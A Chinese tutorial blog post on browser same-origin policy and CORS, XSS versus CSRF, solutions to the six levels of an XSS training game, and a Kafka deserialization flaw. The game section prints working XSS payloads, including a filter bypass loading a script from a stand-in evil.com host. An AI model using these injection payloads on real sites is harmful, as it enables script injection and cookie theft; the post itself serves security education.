之前写过一篇《互联网安全知多少》,内容主要参考了道哥的白帽子一书,本文来篇实际小案例实战下。
跨域请求为什么被浏览器限制?
当然是因为它有安全漏洞啊!
跨域请求
引自Mozilla MDN:
浏览器的同源策略
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
HTTP访问控制(CORS)
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS
当一个资源从与该资源本身所在的服务器不同的域或端口不同的域或不同的端口请求一个资源时,资源会发起一个HTTP 跨域请求。
出于安全考虑,浏览器会限制从脚本内发起的跨域HTTP请求。例如,XMLHttpRequest 和 Fetch 遵循同源策略。因此,使用 XMLHttpRequest 或 Fetch 的Web应用程序只能将HTTP请求发送到其自己的域。尴尬的是,为了改进Web应用程序,开发人员又要求浏览器厂商允许跨域请求,然后通过各种钻空子或者新的API规范能够让我们做到跨域访问。
注脚:XMLHttpRequest 的缩写就是 XHR, 下文不再特别说明。
下面我们来个简单的示例代码:
第一个示例如下图,我本地的cross-site.html通过XHR请求了一个百度搜索请求(相信我,如果谷歌好使我不会用它)。
打开测试页和调试台之后我们看到确实发起了一个对百度的XHR请求:
- 清晰的说明了这个 GET 简单请求(章节开头引用Mozilla CORS有详细说明)跨域被拒绝了,因为没有Access-Control-Allow-Origin这个Response Header。
- 核对下Response Headers确实是没有这个值。
- 可以看到Response Data是空的,因为我们发送的Request Header中的Origin传入的是null,当然就算是一个正常的域名,也必须在百度服务端的跨域许可范围内,否则就是没有应答数据的。
示例我们使用的是一个跨域的GET请求,是个简单请求。其他的复杂请求都会发起一个基于OPTIONS的方法“预检Preflight请求”,原理很简单:因为复杂请求的交互成本比较高,所有约定了这么个预检请求先确保随后的跨域请求是被允许的,否则就没必要发起复杂请求;预检通过之后就跟正常的简单请求一样了。而简单请求就一步(校验+应答)全部搞定。
跨域的基本知识就说这么多,下面进入安全演练。
XSS VS CSRF
XSS跨站脚本(Cross-Site Scripting)其实就是HTML的注入问题,攻击者的输入绕过后端校验持久化到了数据库(或者不持久化只破解URL参数),导致“攻击代码”响应给其他来访的用户,并在受害用户的浏览器里执行了“攻击代码”。攻击代码可大可小,恶作剧式的还算危害不大,但如果是盗取了你的cookie进入你的账户那就真的我家大门常打开了。
常见案例:评论区里挂马,只要打开帖子就执行;昵称挂马,打开微博首页就执行自动关注或者发送用户信息;等等。
XSS的防御手段很直观,过滤所有的用户输入或者URL参数,让攻击者的恶意代码失效。
CSRF(Cross-Site Request Forgery)全称跨域请求伪造攻击, XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。CSRF 顾名思义是伪造请求,冒充用户在网站内的正常操作。比如盗取用户cookie在用户不知情情况发起伪造的请求, 可悲的是服务器将其视作了正常请求。
抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。比如Referer, Token等。但都不能完美防范。有兴趣的同学可以深入研究一下,本文不展开。
引自WIKI的区别:
Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user’s browser.
不像XSS,是用户过分信任特定的网站(放任网站代码在自己本地浏览器任意执行),CSRF是网站过分信任了用户的浏览器(放任伪造的请求执行网站的某个特定功能)。
IBM ****CSRF 攻击的应对之道
https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
XSS小游戏
为了让大家加深一下对XSS攻击的理解,我们一起玩几个来自http://xss-game.appspot.com/的小游戏 (注: 该网站需要科学上网)。看看大家不看答案可以做到第几级:
Level 1
任务目标:
注入一个脚本生成alert弹窗效果。
- 示例页面是个简略的类搜索引擎, 输入Nicholas点击Search
- 跳转到搜索结果,URL拼装了搜索参数
?query=Nicholas
通过URL拼装的参数已经透露一丝丝信息了,我们再看下目标源码:
代码指明了如果请求中的query参数不为空,那就render_string渲染输出。
所以答案已经很明朗了,在搜索框里输入
<script>alert('XSSed by Nicholas!!!!')</script>
就可以弹出警示框拉
Level 2
任务目标与Level1相同,注入脚本引发弹窗。区别是用户输入是持久化入库的。
- 这个任务的目标没变,但是示例变成了留言板或者聊天室;
- 输入Nicholas Visit,点击Share status! 可以看到页面多了一条留言;
- 查看目标源码从DB中获取留言并循环渲染, 尝试Level1的<script>标签已经失效了...
我们可以使用各种html标签来实现,这里提供两种方案:
<h1 onclick="alert('XSSed by Nicholas!!!!')">
CLICK HERE</h1>
<img src="http://inexist.picture"
onerror="javascript:alert('XSSed by Nicholas!!!!')"/>
Level 3
任务目标不变。
示例页面没有任何可输入payload(攻击负载)的地方,那攻击手段不用说了,只能从URL入手啦。
- 直观来看点击不同的Image Tab,URL会相应的变成 frame#1, frame#2, frame#3。
- 看下源码17行,num这个变量是依赖URL传入的,动手脚就从这里搞啦!
直接给个答案:
/frame#3' onerror='alert("XSSed by Nicholas!!!!")'
Level 4
任务目标不变。
示例页面输入一个数值,用于倒计时数秒。计时结束弹窗“Time is up!”。
我想到现在大家已经有点摸清套路了,切入点是timer这个变量无疑,无非是怎么拼装这个值而已。
话不多说,贴答案:
?timer=')%3Balert("XSSed by Nicholas!!!!")%3Bvar b=('
这里有个小技巧就是URL encode的使用:%3B就是单引号的编码,到页面的onload函数内,脚本就实际上是:
startTimer('');alert("XSSed by Nicholas");var b=('');
这个有点难度了。
Level 5
任务目标不变。
示例是个注册功能,跳转到输入邮箱页,点击Next成功。
- 首先从首页跳转到Sign Up页,这里URL是传入了?next=confirm来实现的;
- 输入email后跳转到注册成功页;
所以切入点是有两个的,我们先看一下next变量是否可以利用。在signup.html中Next按钮的跳转链接是基于next变量,而confirm.html中 window.location也是基于next变量的。
这么攻击就简单了,我们把参数修改成
?next=javascript:alert('XSSed by Nicholas!!!!')
然后输入邮箱,点击“Next”按钮,就会出现弹窗了。
Level 6
任务目标是请求一个外部的evil文件。
示例是加载了本地的一个静态js文件,切入点当然也是URL咯
// This will totally prevent us from loading evil URLs!
i**f (url.match(/^https?:\/\//)) {**
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
看js代码是对URL协议进行了过滤,这样限制一下就不能发起对外部文件的访问了么? 还是不能太Naive啊。这个正则表达式有BUG,你把大小写转换一下试试:
?frame#httPS://evil.com/evil_payload.php
引入的这个php文件可以做好多邪恶的事啦。
这个网站目前就到Level6, 到这里相信大家对XSS应该有比较清楚的认知了,不管是安全人员还是研发人员,这些坑都应该了解一下。
反序列化漏洞
前几天朋友通知了个最新Kafka横跨多个版本的安全漏洞:
http://seclists.org/oss-sec/2017/q3/184
https://github.com/apache/kafka/commit/da42977a004dc0c9d29c8c28f0f0cd2c06b889ef
随后我们在github发现了这个commit,新增对于类名的黑名单判断(当然这个做法与我们之前的安全理论相悖,最好的方式应该是白名单)。
这个问题归类的话就是安全领域的一个大类“反序列化漏洞”。Java平台是通过使用JVM序列化(java.jo.ObjectlnputStream), 攻击者可以传递类的实例(字节流可以触发某个在classpath上的类的安装)诱使readObject 方法执行系统命令(如getshell)。一旦getshell, 攻击者可以任意修改Java服务器。这一类攻击叫“反序列化未授信的数据(desearization of untrusted data)”(CWE-502)。类似的漏洞也在Python, PHP以及Rails中发现。
Github上有个开源的反序列化工具ysoserial结合一些payload可以玩出很多反序列化的漏洞攻击。我们目前常用的阿里巴巴开源的fastjson在之前的版本中也爆出过类似的漏洞,当然做好及时的版本更新就可以避开这些问题。
详细的防御手段已经有很多现成实现,比如kafka就是自己实现了SafeObjectInputStream来做安全校验,其他手段各位客官可以自行搜索,篇幅有限不再罗列。
结语
安全的内容多如繁星,每次想写的课题一大堆,比如HTTPS安全,渗透,hijack等等。这次先挤这么多,咱们下次再约。
安全防范, 责无旁贷。